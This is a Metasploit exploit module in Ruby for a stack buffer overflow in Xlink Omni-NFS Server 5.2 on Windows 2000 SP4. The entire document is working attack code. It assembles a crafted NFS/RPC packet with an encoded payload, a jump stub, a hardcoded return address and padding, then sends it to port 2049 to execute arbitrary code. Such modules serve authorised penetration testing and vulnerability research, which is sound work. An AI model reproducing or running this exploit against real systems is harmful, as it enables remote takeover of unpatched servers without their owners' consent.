Omni-NFS Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Omni-NFS Server Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Xlink Omni-NFS Server 5.2  
When sending a specially crafted nfs packet, an attacker may be able  
to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'BID', '20941' ],  
[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 336,  
'BadChars' => "\x00",  
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],   
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 06 2006'))  
  
register_options([Opt::RPORT(2049)], self.class)  
  
end  
  
def exploit  
connect  
  
buff = payload.encoded  
buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)  
buff << [target.ret].pack('V')  
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string  
buff << rand_text_english(251)  
  
pkt = [1].pack('N')  
pkt << [0].pack('N')  
pkt << [2].pack('N')  
pkt << [100005].pack('N')  
pkt << [1].pack('N')  
pkt << [1].pack('N')  
pkt << [1].pack('N')  
pkt << [400].pack('N')  
pkt << buff[0,400]  
pkt << [1].pack('N')  
pkt << [400].pack('N')  
pkt << buff[300,400]  
  
sploit = [pkt.length | 0x80000000].pack('N') + pkt  
  
print_status("Trying target #{target.name}...")  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
`